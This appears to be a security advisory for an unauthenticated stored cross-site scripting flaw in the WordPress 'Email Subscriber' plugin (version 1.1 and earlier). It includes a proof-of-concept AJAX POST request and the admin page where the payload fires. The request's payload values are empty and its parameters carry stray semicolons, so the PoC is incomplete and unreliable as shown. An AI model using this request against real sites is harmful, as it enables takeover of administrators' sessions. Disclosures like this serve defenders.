Email Subscriber <= 1.1 - Unauthenticated Stored Cross-Site Scripting (XSS)

The kento_email_subscriber_ajax AJAX action of the plugin, does not properly sanitise, validate and escape the submitted subscribe_email and subscribe_name POST parameters, inserting them in the DB and then outputting them back in the Subscriber list (/wp-admin/edit.php?post_type=kes_campaign&page;=kento_email_subscriber_list_settings), leading a Stored XSS issue.

PoC

POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Length: 117 Accept: / X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept-Language: en-US,en;q=0.9 Connection: close action=kento_email_subscriber_ajax&subscribe;_email=&subscribe;_name= Then view the Subscriber list (/wp-admin/edit.php?post_type=kes_campaign&page;=kento_email_subscriber_list_settings) as admin to trigger the XSS